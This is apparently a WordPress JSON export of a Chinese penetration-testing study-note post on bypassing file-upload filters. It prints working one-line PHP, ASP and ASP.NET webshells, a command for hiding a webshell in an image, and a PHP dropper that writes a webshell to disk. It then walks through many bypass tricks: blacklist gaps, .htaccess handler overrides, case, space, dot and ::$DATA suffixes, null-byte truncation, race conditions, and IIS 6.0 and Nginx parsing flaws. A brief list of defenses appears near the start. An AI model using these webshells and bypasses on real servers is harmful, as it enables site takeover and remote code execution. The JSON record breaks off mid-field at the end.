{"id":317,"date":"2021-12-07T10:25:39","date_gmt":"2021-12-07T02:25:39","guid":{"rendered":"https:\/\/www.langsasec.cn\/?p=317"},"modified":"2022-11-14T17:57:14","modified_gmt":"2022-11-14T09:57:14","slug":"uploadshell","status":"publish","type":"post","link":"https:\/\/blog.langsasec.cn\/index.php\/2021\/12\/07\/uploadshell\/","title":{"rendered":"\u6587\u4ef6\u4e0a\u4f20\u7ed5\u8fc7"},"content":{"rendered":"<p><strong>\u4e00\u53e5\u8bdd\u6728\u9a6c<\/strong><\/p>\n<pre class=\"prettyprint linenums\" ><code>PHP:    \n&lt;?php @eval($_POST[&#039;chopper&#039;]);?&gt;\n\nASP:    \n&lt;%eval request(&quot;chopper&quot;)%&gt;\n\nASP.NET:    \n&lt;%@ Page Language=&quot;Jscript&quot;%&gt;&lt;%eval(Request.Item[&quot;z&quot;],&quot;unsafe&quot;);%&gt;<\/code><\/pre>\n<p><strong>\u56fe\u7247\u9a6c\u5236\u4f5c<\/strong>\uff1acopy 1.jpg \/b + 1.txt \/a 2.jpg\uff081.txt\u4e3a\u4e00\u53e5\u8bdd\u6728\u9a6c\uff0c2.jpg\u65b0\u751f\u6210\u7684\u56fe\u7247\u9a6c\uff09<\/p>\n<p><strong>\u6587\u4ef6\u4e0a\u4f20\u9632\u5fa1<\/strong>\uff1a<\/p>\n<p>1.\u56fe\u5e8a\uff08A\u7f51\u7ad9\u4e0a\u4f20\u56fe\u7247\u653e\u5230\u53e6\u4e00\u4e2a\u7f51\u7ad9\u6216\u670d\u52a1\u5668\uff09<\/p>\n<p>2.\u52a0\u5f3a\u68c0\u6d4b*\uff08\u767d\u540d\u5355+\u5185\u5bb9\u68c0\u6d4b+\u6743\u9650\u8bbe\u7f6e+\u5b89\u5168\u4e2d\u95f4\u4ef6\uff09<\/p>\n<p><strong><em>\u5982\u679c\u6ca1\u6709\u9632\u62a4\u89c4\u5219\u7684\u6587\u4ef6\u4e0a\u4f20\uff0c\u53ea\u8981\u4e0a\u4f20\u5c31\u53ef\u4ee5\u62ff\u4e0b\u76ee\u6807<\/em><\/strong><\/p>\n<p>\u68c0\u6d4b\u6076\u610f\u4ee3\u7801\uff1a<\/p>\n<p>\u200b   \u524d\u7aef\u68c0\u6d4b\uff08js\uff09= \u6ca1\u6709\u68c0\u6d4b<\/p>\n<p>\u200b   \u540e\u7aef\u68c0\u6d4b\uff1a\u9ed1\u767d\u540d\u5355\u673a\u5236\uff08\u6bd4\u8f83\u5371\u9669\uff09\uff0c\u767d\u540d\u5355\u66f4\u5b89\u5168<\/p>\n<p>\u670d\u52a1\u7aef\u68c0\u6d4b\u51e0\u4e2a\u5e38\u89c1\u7684\u624b\u6bb5\uff1a \u68c0\u67e5Content-Type \uff08\u5185\u5bb9\u7c7b\u578b\uff09 \u68c0\u67e5\u540e\u7f00  \uff08\u68c0\u67e5\u540e\u7f00\u662f\u4e3b\u6d41\uff09 \u68c0\u67e5\u6587\u4ef6\u5934<\/p>\n<p><strong>\u6587\u4ef6\u4e0a\u4f20\u6d41\u7a0b\uff1a<\/strong><\/p>\n<p><strong>\u4e0a\u4f20\uff0c\u68c0\u6d4b\uff0c\u4e0a\u4f20\u5230\u7f13\u5b58\u6587\u4ef6(tmp)\uff0c\u540e\u7aef\u4ee3\u7801\u79fb\u52a8\uff0c\u79fb\u52a8\u5230\u6307\u5b9a\u76ee\u5f55\u91cd\u547d\u540d<\/strong><\/p>\n<h2><span class=\"ez-toc-section\" id=\"%e6%96%87%e4%bb%b6%e4%b8%8a%e4%bc%a0%e7%bb%95%e8%bf%87\"><\/span>\u6587\u4ef6\u4e0a\u4f20\u7ed5\u8fc7<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h4><span class=\"ez-toc-section\" id=\"1%e5%89%8d%e7%ab%af%e9%aa%8c%e8%af%81%e7%bb%95%e8%bf%87\"><\/span>1.\u524d\u7aef\u9a8c\u8bc1\u7ed5\u8fc7<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>\u6293\u8fd4\u56de\u5305\u5220\u9664js(Do intercept)<\/p>\n<p>\u6293\u5305\u6539\u540e\u7f00\uff08\u4e0a\u4f20\u6b63\u5e38\u6587\u4ef6\u6216\u56fe\u7247\uff0c\u6570\u636e\u5305\u4e2d\u6539\u6728\u9a6c\u540e\u7f00\uff09<\/p>\n<h4><span class=\"ez-toc-section\" id=\"2content-type%e6%96%b9%e5%bc%8f%e7%bb%95%e8%bf%87\"><\/span>2.Content-Type\u65b9\u5f0f\u7ed5\u8fc7<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>\u68c0\u67e5\u6587\u4ef6\u7c7b\u578b\uff0c\u6293\u5305\u6539\u540e\u7f00\uff08\u4e0a\u4f20\u6b63\u5e38\u6587\u4ef6\u6216\u56fe\u7247\uff0c\u6570\u636e\u5305\u4e2d\u6539\u6728\u9a6c\u540e\u7f00\uff09<\/p>\n<h4><span class=\"ez-toc-section\" id=\"3%e9%bb%91%e5%90%8d%e5%8d%95%e7%bb%95%e8%bf%87\"><\/span>3.\u9ed1\u540d\u5355\u7ed5\u8fc7<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>\u9ed8\u8ba4\u72b6\u6001\u4e0b.php3,.php4,.php5,.phtml \u90fd\u662f\u4f1a\u88ab\u89e3\u6790\u4e3aphp\u7684\uff0c<\/p>\n<table>\n<thead>\n<tr>\n<th style=\"text-align: center;\"><\/th>\n<th style=\"text-align: center;\">\u5176\u4ed6\u80fd\u88ab\u89e3\u6790\u7684\u6269\u5c55<\/th>\n<th style=\"text-align: center;\"><\/th>\n<th style=\"text-align: center;\"><\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td style=\"text-align: center;\">jsp<\/td>\n<td style=\"text-align: center;\">jspx<\/td>\n<td style=\"text-align: center;\">jspf<\/td>\n<td style=\"text-align: center;\"><\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: center;\">asp<\/td>\n<td style=\"text-align: center;\">asa<\/td>\n<td style=\"text-align: center;\">cer<\/td>\n<td style=\"text-align: center;\">aspx<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: center;\">php<\/td>\n<td style=\"text-align: center;\">phptml<\/td>\n<td style=\"text-align: center;\">php3<\/td>\n<td style=\"text-align: center;\">php4<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: center;\">exe<\/td>\n<td style=\"text-align: center;\">exee<\/td>\n<td style=\"text-align: center;\"><\/td>\n<td style=\"text-align: center;\"><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4><span class=\"ez-toc-section\" id=\"4htaccess%e6%96%87%e4%bb%b6%e7%bb%95%e8%bf%87\"><\/span>4..htaccess\u6587\u4ef6\u7ed5\u8fc7<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>.htaccess\u662f\u4ec0\u4e48\uff1f\u5168\u79f0\u662fHypertext Access(\u8d85\u6587\u672c\u5165\u53e3)  .htaccess\u6587\u4ef6\u4e5f\u88ab\u6210\u4e3a\u5206\u5e03\u5f0f\u914d\u7f6e\u6587\u4ef6<\/p>\n<p>.htaccess\u529f\u80fd\uff08\u9ed8\u8ba4\u662f\u4e0d\u5f00\u542f\u7684\uff0c\u4f2a\u9759\u6001\u7f51\u7ad9\u4e00\u822c\u4f1a\u5f00\u542f\uff09\uff1a \u6587\u4ef6\u5939\u5bc6\u7801\u4fdd\u62a4\u3001\u7528\u6237\u81ea\u5b9a\u4e49\u91cd\u5b9a\u5411\u3001\u81ea\u5b9a\u4e49404\u9875\u9762\u3001\u6269\u5c55\u540d\u4f2a\u9759\u6001\u5316\u3001\u7981\u6b62\u7279\u5b9aIP\u5730\u5740\u7684\u7528\u6237\u3001\u53ea\u5141\u8bb8\u7279\u5b9aIP\u5730\u5740\u7684\u7528\u6237\u3001\u7981\u6b62\u76ee\u5f55\u5217\u8868<\/p>\n<p>\u4f8b\u5982\uff1a<strong>AddType application\/x-httpd-php .jpg<\/strong>    \u8fd9\u4e2a\u6307\u4ee4\u4ee3\u8868\u7740.jpg\u6587\u4ef6\u4f1a\u5f53\u505aphp\u6765\u89e3\u6790<\/p>\n<p>cmd\u91cd\u547d\u540d\uff1aren \u6587\u4ef6 .htaccess<\/p>\n<p>\u65b9\u6cd5\uff1a\u4e0a\u4f20\u56fe\u7247\u9a6c.jpg\u540e\u518d\u4e0a\u4f20AddType application\/x-httpd-php .jpg\u5185\u5bb9\u7684.htaccess\u6587\u4ef6\u5373\u53ef\u5c06\u56fe\u7247\u9a6c\u4f5c\u4e3aphp\u8fde\u63a5\u6210\u529f\u3002<\/p>\n<h4><span class=\"ez-toc-section\" id=\"5%e5%90%8e%e7%bc%80%e5%a4%a7%e5%b0%8f%e5%86%99%e7%bb%95%e8%bf%87\"><\/span>5.\u540e\u7f00\u5927\u5c0f\u5199\u7ed5\u8fc7<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>WEB\u5bb9\u5668\u9664\u975e\u975e\u5e38\u8001\u7684\u7248\u672c\uff0c\u4e0d\u7136\u90fd\u4e0d\u533a\u5206\u5927\u5c0f\u5199<\/p>\n<p>\u4f8b\u5982php.php=&gt;php.PhP\/PHp<\/p>\n<h4><span class=\"ez-toc-section\" id=\"6%e6%96%87%e4%bb%b6%e5%90%8e%e7%bc%80%ef%bc%88%e7%a9%ba%ef%bc%89%e7%bb%95%e8%bf%87\"><\/span>6.\u6587\u4ef6\u540e\u7f00\uff08\u7a7a\uff09\u7ed5\u8fc7<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>\u9ed1\u540d\u5355\u4e2d\u6ca1\u6709\u8fc7\u6ee4\u7a7a\u503c\uff0c\u90a3\u4e48php\u548cphp\u7a7a\u683c\u662f\u4e0d\u4e00\u6837\u7684\uff0c\u6293\u5305\u6587\u4ef6\u540d\u540e\u7f00\u6dfb\u52a0\u7a7a\u683c\u5373\u53ef\u7ed5\u8fc7<\/p>\n<h4><span class=\"ez-toc-section\" id=\"7%e6%96%87%e4%bb%b6%e5%90%8e%e7%bc%80%ef%bc%88%e7%82%b9%ef%bc%89%e7%bb%95%e8%bf%87\"><\/span>7.\u6587\u4ef6\u540e\u7f00\uff08\u70b9\uff09\u7ed5\u8fc7<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>\u4e0e6\u7c7b\u4f3c\uff0c<strong>windows<\/strong>\u6709\u4e00\u4e2a\u7279\u6027\uff0c\u4f1a\u81ea\u52a8\u53bb\u6389\u540e\u7f00\u540d\u6700\u540e\u7684\u70b9\u3002<\/p>\n<p>\u6587\u4ef6\u540d.php.\u548c\u6587\u4ef6\u540d.php\u76f8\u540c\u3002\u6293\u5305\u6587\u4ef6\u540d\u540e\u7f00\u6dfb\u52a0\u70b9\u5373\u53ef\u7ed5\u8fc7<\/p>\n<h4><span class=\"ez-toc-section\" id=\"8-data%ef%bc%88windows%e6%96%87%e4%bb%b6%e6%b5%81%e7%bb%95%e8%bf%87%ef%bc%89\"><\/span>8.::$DATA\uff08Windows\u6587\u4ef6\u6d41\u7ed5\u8fc7\uff09<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>\u5229\u7528\u5230\u4e86NTFS\u4ea4\u6362\u6570\u636e\u6d41\uff08ADS\uff09\uff0cADS\u662fNTFS\u78c1\u76d8\u683c\u5f0f\u7684\u4e00\u4e2a\u7279\u6027\uff0c\u5728NTFS\u6587\u4ef6\u7cfb\u7edf\u4e0b\uff0c\u6bcf\u4e2a\u6587\u4ef6\u90fd\u53ef\u4ee5\u5b58\u5728\u591a\u4e2a\u6570\u636e\u6d41\u3002<\/p>\n<p><strong>\u4e5f\u5c31\u662f\u5176\u5b83\u6587\u4ef6\u53ef\u4ee5\u201c\u5bc4\u5bbf\u201d\u5728\u67d0\u4e2a\u6587\u4ef6\u8eab\u4e0a\uff0c\u800c\u5728\u8d44\u6e90\u7ba1\u7406\u5668\u4e2d\u5374\u53ea\u80fd\u770b\u5230\u5bbf\u4e3b\u6587\u4ef6\uff0c\u627e\u4e0d\u5230\u5bc4\u5bbf\u6587\u4ef6\u3002\uff08\u9690\u85cf\u7684\u5bc4\u751f\u866b\uff09<\/strong><\/p>\n<p>\u4f8b\u5982\uff1aa.txt::$DATA ::$DATA\u5c31\u662f\u9ed8\u8ba4\u4e0d\u4fee\u6539\u6587\u4ef6\u6d41\u7684\u60c5\u51b5 \u6240\u4ee5\u751f\u6210\u4e00\u4e2a\u6b63\u5e38\u7684a.txt\u3002\u4f46\u540e\u7aef\u68c0\u6d4b\u7684\u65f6\u5019a.txt::$DATA\u548ca.txt\u662f\u4e0d\u4e00\u6837\uff0c\u4ece\u800c\u7ed5\u8fc7\u3002<\/p>\n<p>\u85cf\u6587\u4ef6\uff1aecho \u5185\u5bb9 &gt; \u88ab\u4f9d\u9644\u7684\u6587\u4ef6:\u65b0\u5efa\u6587\u4ef6<\/p>\n<h4><span class=\"ez-toc-section\" id=\"9%e6%9e%84%e9%80%a0%e6%96%87%e4%bb%b6%e5%90%8e%e7%bc%80%e7%bb%95%e8%bf%87\"><\/span>9.\u6784\u9020\u6587\u4ef6\u540e\u7f00\u7ed5\u8fc7<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>strrchr() \u51fd\u6570\u67e5\u627e\u5b57\u7b26\u4e32\u5728\u53e6\u4e00\u4e2a\u5b57\u7b26\u4e32\u4e2d\u6700\u540e\u4e00\u6b21\u51fa\u73b0\u7684\u4f4d\u7f6e\uff0c\u5e76\u8fd4\u56de\u4ece\u8be5\u4f4d\u7f6e\u5230\u5b57\u7b26\u4e32\u7ed3\u5c3e\u7684\u6240\u6709\u5b57\u7b26\u3002<\/p>\n<p>$file_ext = strrchr($file_name, '.'); \u662f\u68c0\u6d4b\u672b\u5c3e\u6700\u540e\u662f\u5426\u662f\u70b9\uff0c\u8fd4\u56de\u70b9\u4ee5\u53ca\u540e\u9762\u7684\u90e8\u5206\u3002<\/p>\n<p>php. .,\u4e5f\u5c31\u662f\u6587\u4ef6\u540d.php\u70b9\u7a7a\u70b9\u3002<\/p>\n<p><strong>\u53bb\u6389\u70b9\u2192\u8fd4\u56de\u70b9\u7a7a\u2192\u6700\u540e\u5269\u4e0b \u6587\u4ef6\u540d.php.\u53ef\u4ee5\u89e3\u6790\uff0c\u5b8c\u7f8e\u7ed5\u8fc7\u3002<\/strong><\/p>\n<h4><span class=\"ez-toc-section\" id=\"10%e5%8f%8c%e5%86%99%e6%96%87%e4%bb%b6%e5%90%8e%e7%bc%80%e7%bb%95%e8%bf%87\"><\/span>10.\u53cc\u5199\u6587\u4ef6\u540e\u7f00\u7ed5\u8fc7<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<pre class=\"prettyprint linenums\" ><code>$file_name = str_ireplace($deny_ext,&quot;&quot;, $file_name);\n\u5c06\u654f\u611f\u540e\u7f00\u66ff\u6362\u4e3a\u7a7a\n\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u5229\u7528\u53cc\u5199\u7ed5\u8fc7\uff0ceg:pphphp=&gt;php<\/code><\/pre>\n<h4><span class=\"ez-toc-section\" id=\"1100%e6%88%aa%e6%96%ad%e7%bb%95%e8%bf%87\"><\/span>11.%00\u622a\u65ad\u7ed5\u8fc7<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>%00\uff08url\u7f16\u7801\uff09:\u8868\u793a\u7ed3\u675f<\/p>\n<p>\u4e0a\u4f20\u8fc7\u7a0b\u4e2d\u88ab\u91cd\u547d\u540d\uff0c\u540e\u9762\u6dfb\u52a0\u4e3a\u81ea\u5b9a\u7684\u540d\u79f0\u683c\u5f0f\u5e76\u622a\u65ad\u5373\u53ef\u4e0a\u4f20\u6210\u529f\u3002<\/p>\n<p>\u5c5e\u4e8ephp5.3\u4ee5\u4e0b\u7684\u4e00\u4e2a\u6f0f\u6d1e<\/p>\n<pre class=\"prettyprint linenums\" ><code>$img_path = $_GET[&#039;save_path&#039;].&quot;\/&quot;.rand(10, 99).date(&quot;YmdHis&quot;).&quot;.&quot;.$file_ext;<\/code><\/pre>\n<h4><span class=\"ez-toc-section\" id=\"1200%e6%88%aa%e6%96%ad%e7%bb%95%e8%bf%87\"><\/span>12.00\u622a\u65ad\u7ed5\u8fc7<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>get\u4f20\u53c2\u53d8\u4e3apost,\u901a\u8fc7\u4fee\u6539hex\u7f16\u7801\u4f7f\u5f97\u622a\u65ad\u5f62\u6210\uff0c\u5b8c\u6210\u7ed5\u8fc7\u3002<\/p>\n<p>00(Hex)\uff1a\u8868\u793a\u7ed3\u675f<\/p>\n<h4><span class=\"ez-toc-section\" id=\"13%e5%9b%be%e7%89%87%e9%a9%ac%e7%bb%95%e8%bf%87\"><\/span>13.\u56fe\u7247\u9a6c\u7ed5\u8fc7<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<h4><span class=\"ez-toc-section\" id=\"14getimagesize%e5%9b%be%e7%89%87%e7%b1%bb%e5%9e%8b%e7%bb%95%e8%bf%87\"><\/span>14.getimagesize\u56fe\u7247\u7c7b\u578b\u7ed5\u8fc7<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>getimagesize() \u51fd\u6570\u7528\u4e8e\u83b7\u53d6\u56fe\u50cf\u5927\u5c0f\u53ca\u76f8\u5173\u4fe1\u606f\uff0c\u6210\u529f\u8fd4\u56de\u4e00\u4e2a\u6570\u7ec4\uff0c\u5931\u8d25\u5219\u8fd4\u56de FALSE \u5e76\u4ea7\u751f\u4e00\u6761 E_WARNING \u7ea7\u7684\u9519\u8bef\u4fe1\u606f\u3002<\/p>\n<h4><span class=\"ez-toc-section\" id=\"15php-exif%e6%a8%a1%e5%9d%97%e5%9b%be%e7%89%87%e7%b1%bb%e5%9e%8b%e7%bb%95%e8%bf%87\"><\/span>15.php_exif\u6a21\u5757\u56fe\u7247\u7c7b\u578b\u7ed5\u8fc7<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<h4><span class=\"ez-toc-section\" id=\"16%e4%ba%8c%e6%ac%a1%e6%b8%b2%e6%9f%93%e7%bb%95%e8%bf%87\"><\/span>16.\u4e8c\u6b21\u6e32\u67d3\u7ed5\u8fc7<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>\u4e00\u822c\u6e32\u67d3\u4e0d\u4f1a\u6e32\u67d3\u56fe\u7247\u7684\u6240\u6709\u90e8\u5206\u3002<\/p>\n<p>\u5229\u7528gif\u52a8\u6001\u56fe\u56fe\u7247\u9a6c\u7ed5\u8fc7\uff0c\u5728\u7b2c\u4e09\u884c\u7b2c\u56db\u884c\u6dfb\u52a0\u6bd4\u8f83\u597d\u3002<\/p>\n<h4><span class=\"ez-toc-section\" id=\"17%e6%9d%a1%e4%bb%b6%e7%ab%9e%e4%ba%89%e7%bb%95%e8%bf%87\"><\/span>17.\u6761\u4ef6\u7ade\u4e89\u7ed5\u8fc7<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>\u2460\u5148\u4e0a\u4f20\u540e\u68c0\u6d4b\uff1a\u62fc\u901f\u5ea6\u4ee5\u81f3\u4e8e\u6765\u4e0d\u53ca\u5220\u9664<\/p>\n<p><strong>\u7ade\u4e89\u6761\u4ef6\uff1a\u201d\u53d1\u751f\u5728\u591a\u4e2a\u7ebf\u7a0b\u540c\u65f6\u8bbf\u95ee\u540c\u4e00\u4e2a\u5171\u4eab\u4ee3\u7801\u3001\u53d8\u91cf\u3001\u6587\u4ef6\u7b49\u6ca1\u6709\u8fdb\u884c\u9501\u64cd\u4f5c\u6216\u8005\u540c\u6b65\u64cd\u4f5c\u7684\u573a\u666f\u4e2d\u3002<\/strong><\/p>\n<p>\u5bf9php\u505a\u624b\u811a\uff0c\u5728php\u63d2\u5165\u65b0\u5efa\u6587\u4ef6\u7684\u4ee3\u7801<\/p>\n<pre class=\"prettyprint linenums\" ><code>&lt;?php file_put_contents(&#039;123.php&#039;,&#039;&lt;?php @eval($_REQUEST[8])?&gt;&#039;);?&gt;<\/code><\/pre>\n<p>\u672c\u5730\u6d4b\u8bd5\u53d1\u73b0\u8bbf\u95ee\u8be5php\u5373\u53ef\u751f\u6210\u4e00\u53e5\u8bdd\u6728\u9a6c123.php<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/blog.langsasec.cn\/wp-content\/uploads\/2021\/12\/image-20211206165248820-1024x629.png\" alt=\"img\" title=\"\u6587\u4ef6\u4e0a\u4f20\u7ed5\u8fc7\u63d2\u56fe\" \/><\/p>\n<p>\u6211\u4eec\u7528burp\u6a21\u5757\u6293\u5305\u7136\u540e\u53bb\u7206\u7834\u5c31\u884c\uff0c\u4e00\u4e2a\u4e0d\u65ad\u4e0a\u4f20\uff0c\u4e00\u4e2a\u4e0d\u65ad\u8bbf\u95ee<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/blog.langsasec.cn\/wp-content\/uploads\/2021\/12\/image-20211206170301349-1024x614.png\" alt=\"img\" title=\"\u6587\u4ef6\u4e0a\u4f20\u7ed5\u8fc7\u63d2\u56fe1\" \/><\/p>\n<p>\u76f4\u5230\u80fd\u591f\u8bbf\u95ee\u5230123.php\u5373\u53ef\u8fde\u63a5\u6728\u9a6c\u7ba1\u7406\u3002<\/p>\n<p>\u2461\u5148\u68c0\u6d4b\u540e\u4e0a\u4f20<\/p>\n<h4><span class=\"ez-toc-section\" id=\"18%e6%9d%a1%e4%bb%b6%e7%ab%9e%e4%ba%89%ef%bc%88%e4%ba%8c%ef%bc%89\"><\/span>18.\u6761\u4ef6\u7ade\u4e89\uff08\u4e8c\uff09<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>\u4e0e7\u76f8\u540c\uff0c\u53ea\u4e0d\u8fc7\u4e0a\u4f20\u7684\u662f\u56fe\u7247\u9a6c<\/p>\n<h4><span class=\"ez-toc-section\" id=\"19move-uploaded-file%e6%88%aa%e6%96%ad%ef%bc%88%e5%8f%a6%e4%b8%80%e4%b8%aa00%e6%88%aa%e6%96%ad%ef%bc%89\"><\/span>19.move_uploaded_file()\u622a\u65ad\uff08\u53e6\u4e00\u4e2a00\u622a\u65ad\uff09<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>move_uploaded_file() \uff0c\u8fd9\u662f\u79fb\u52a8\u6587\u4ef6\u7684\u51fd\u6570\uff0c\u4e0a\u4f20\u4e0a\u53bb\u7136\u540e\u79fb\u52a8\u5230\u8fd9\u8fb9\u91cd\u547d\u540d<\/p>\n<p>\u4fee\u6539\u540e\u7f00\uff0c\u7528hex\u7f16\u8f9100\u5728php\u540e\u622a\u65ad<\/p>\n<h3><span class=\"ez-toc-section\" id=\"%e6%96%87%e4%bb%b6%e4%b8%8a%e4%bc%a0%e8%a7%a3%e6%9e%90%e6%bc%8f%e6%b4%9e\"><\/span>\u6587\u4ef6\u4e0a\u4f20\u89e3\u6790\u6f0f\u6d1e<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<h4><span class=\"ez-toc-section\" id=\"iis60%e8%a7%a3%e6%9e%90%e6%bc%8f%e6%b4%9e%ef%bc%88%e4%b8%80%ef%bc%89%ef%bc%9a\"><\/span>IIS6.0\u89e3\u6790\u6f0f\u6d1e\uff08\u4e00\uff09\uff1a<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>\u200b   IIS6.0\u9664\u4e86\u5c06ASP\u540e\u7f00\u5f53\u505aASP\u8fdb\u884c\u89e3\u6790\u7684\u540c\u65f6\uff0c\u5f53\u6587\u4ef6\u540e\u7f00\u540d\u5b57\u4e3a.asa .cer .cdx \u4e5f\u4f1a\u5f53\u505aasp\u53bb\u89e3\u6790\uff0c\u8fd9\u662f\u56e0\u4e3aIIS6.0\u5728\u5e94\u7528\u7a0b\u5e8f\u6269\u5c55\u4e2d\u9ed8\u8ba4\u8bbe\u7f6e\u4e86.asa .cer .cdx \u90fd\u4f1a\u8c03\u7528 asp.dll\u3002<\/p>\n<p><strong>\u76f4\u63a5\u901a\u8fc7\u6293\u5305\u4fee\u6539\u540e\u7f00\u4e0a\u4f20cer\u7684\u56fe\u7247\u9a6c\u8fde\u63a5\u6210\u529f<\/strong><\/p>\n<h4><span class=\"ez-toc-section\" id=\"iis60%e8%a7%a3%e6%9e%90%e6%bc%8f%e6%b4%9e%ef%bc%88%e4%ba%8c%ef%bc%89%ef%bc%9a\"><\/span>IIS6.0\u89e3\u6790\u6f0f\u6d1e\uff08\u4e8c\uff09\uff1a<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>IIS5.1\u548cIIS7.5\u65e0\u6b64\u6f0f\u6d1e\u3002 IIS 6.0\u5728\u5904\u7406\u542b\u6709\u7279\u6b8a\u7b26\u53f7\u7684\u6587\u4ef6\u8def\u5f84\u65f6\u4f1a\u51fa\u73b0\u903b\u8f91\u9519\u8bef\uff0c\u4ece\u800c\u9020\u6210\u6587\u4ef6\u89e3\u6790\u6f0f\u6d1e\u3002\u8fd9\u4e00\u6f0f\u6d1e\u6709\u4e24\u79cd\u5b8c\u5168\u4e0d\u540c\u7684\u5229\u7528\u65b9\u5f0f\uff1a    test.asp;.jpg   \u4ed6\u5c06\u5f53\u505aasp\u8fdb\u884c\u89e3\u6790 test.asp\/123.jpg \u4ed6\u5c06\u5f53\u505aasp\u8fdb\u884c\u89e3\u6790<\/p>\n<p>\u8bf7\u6c42 \/aaa.asp;xxxx.jpg N1:\u4ece\u5934\u90e8\u67e5\u627e\u67e5\u627e &quot;.&quot;\u53f7,\u83b7\u5f97 .asp;xxxx.jpg N2:\u67e5\u627e&quot;;&quot;\u53f7,\u5982\u679c\u6709\u5219\u5185\u5b58\u622a\u65ad N3:\u67e5\u627e&quot;\/&quot;,\u5982\u679c\u6709\u5219\u5185\u5b58\u622a\u65ad \u6700\u7ec8,\u5c06\u4fdd\u7559\u4e0b\u6765 .asp \u5b57\u7b26\u4e32,\u4eceMETA_SCRIPT_MAP\u811a\u672c\u6620\u5c04\u8868\u91cc\u4e0e\u6269\u5c55\u540d\u5339\u914d\u5bf9\u6bd4,\u5e76\u53cd\u9988\u7ed9\u4e86asp.dll\u5904\u7406<\/p>\n<p>\u2460test.asp;.jpg<\/p>\n<p>\u2461test.asp\/123.jpg<\/p>\n<h4><span class=\"ez-toc-section\" id=\"cgi%e8%a7%a3%e6%9e%90%e6%bc%8f%e6%b4%9e\"><\/span>CGI\u89e3\u6790\u6f0f\u6d1e<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>Nginx\u9ed8\u8ba4\u662f\u4ee5CGI\u7684\u65b9\u5f0f\u652f\u6301PHP\u89e3\u6790\u7684\u3002<\/p>\n<p>\u666e\u904d\u7684\u505a\u6cd5\u662f\u5728Nginx\u914d\u7f6e\u6587\u4ef6\u4e2d\u901a\u8fc7\u6b63\u5219\u5339\u914d\u8bbeSCRIPT_FILENAME\u3002<\/p>\n<p><strong>\u5f53\u8bbf\u95ee<a href=\"http:\/\/www.xx.com\/phpinfo.jpg\/1.php\">http:\/\/www.xx.com\/phpinfo.jpg\/1.php<\/a>\u8fd9\u4e2aURL\u65f6\uff0c$fastcgi_script_name\u4f1a\u88ab\u8bbe\u7f6e\u201cphpinfo.jpg\/1.php\u201d\uff0c\u7136\u540e\u6784\u9020\u6210SCRIPT_FILENAME(\u7edd\u5bf9\u8def\u5f84)\u4f20\u9012\u7ed9PHP CGI,\u5982\u679c\u5f00\u542f\u4e86cgi.fix_pathinfo=1\u9009\u9879\uff08\u8fd9\u4e2a\u9ed8\u8ba4\u503c\u5c31\u662f1\uff0c\u6240\u4ee5\u6ca1\u6709\u8bbe\u7f6e\u8fc7\u5c31\u662f\u5f00\u542f\uff09\u3002<\/strong> <\/p>\n<p>PHP\u4f1a\u8ba4\u4e3aSCRIPT_FILENAME(\u7edd\u5bf9\u8def\u5f84)\u662fphpinfo.jpg\uff0c\u800c1.php\u662fPATH_INFO\uff0c\u6240\u4ee5\u5c31\u4f1aphpinfo.jpg\u4f5c\u4e3aPHP\u6587\u4ef6\u6765\u89e3\u6790\u4e86.<\/p>\n<p>\u6211\u4eec\u53ea\u9700\u8981\u5728\u6b63\u5e38\u7684.jpg\u540e\u9762\u52a0\/.php\u5c31\u53ef\u4ee5\u6210\u529f\u7684\u7ed5\u8fc7\u89e3\u6790<\/p>\n<p>\u4e0a\u4f20php\u56fe\u7247\u9a6cphp.jpg<\/p>\n<p>\u540e\u9762\u6dfb\u52a0\/123.php\u8fde\u63a5\u6210\u529f<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4e00\u53e5\u8bdd\u6728\u9a6c PHP: &lt;?php @eval($_POST[&#039;chopper&#039;]); [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[22,19],"tags":[],"class_list":["post-317","post","type-post","status-publish","format-standard","hentry","category-webpt-studynote","category-penetration-test"],"_links":{"self":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/317","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/comments?post=317"}],"version-history":[{"count":5,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/317\/revisions"}],"predecessor-version":[{"id":1049,"href":"https:\/\/blog.langsasec.cn\/